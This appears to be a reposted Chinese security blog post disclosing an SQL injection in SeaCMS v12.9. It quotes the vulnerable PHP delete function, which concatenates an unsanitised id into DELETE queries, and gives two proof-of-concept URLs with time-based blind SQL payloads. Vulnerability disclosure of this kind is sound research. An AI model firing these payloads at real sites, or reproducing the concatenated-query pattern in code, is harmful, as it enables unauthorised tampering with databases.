SeaCMS v12.9 中 SQL 注入
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
漏洞详情
源代码获取处
https://github.com/seacms-net/CMS
漏洞代码存在位置
https://github.com/HuaQiPro/seacms/blob/ffa00178c7bf966b6bed7109ca76c270eadfeb70/js/player/dmplayer/dmku/class/mysqli.class.php#L287-L305
漏洞分析
第287-305行
public static function 删除_弹幕数据($id)
{
try {
global $_config;
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$conn->set_charset('utf8');
if ($_GET['type'] == "list") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";
$conn->query($sql);
$conn->query($result);
} else if ($_GET['type'] == "report") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$conn->query($sql);
}
} catch (PDOException $e) {
showmessage(-1, '数据库错误:' . $e->getMessage());
}
}
上面看出,它直接被拼接到SQL语句中而没有进行过滤。
PoC
http(s)://x.x.x.x:port//js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(10)))v)&type=list
http(s)://x.x.x.x:port//js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(15)))v)&type=list
该漏洞允许未经身份验证的远程攻击者通过id参数注入任意SQL命令,可完成延时注入等操作。
原文始发于微信公众号(不秃头的安全):漏洞分析 | SeaCMS v12.9 中 SQL 注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论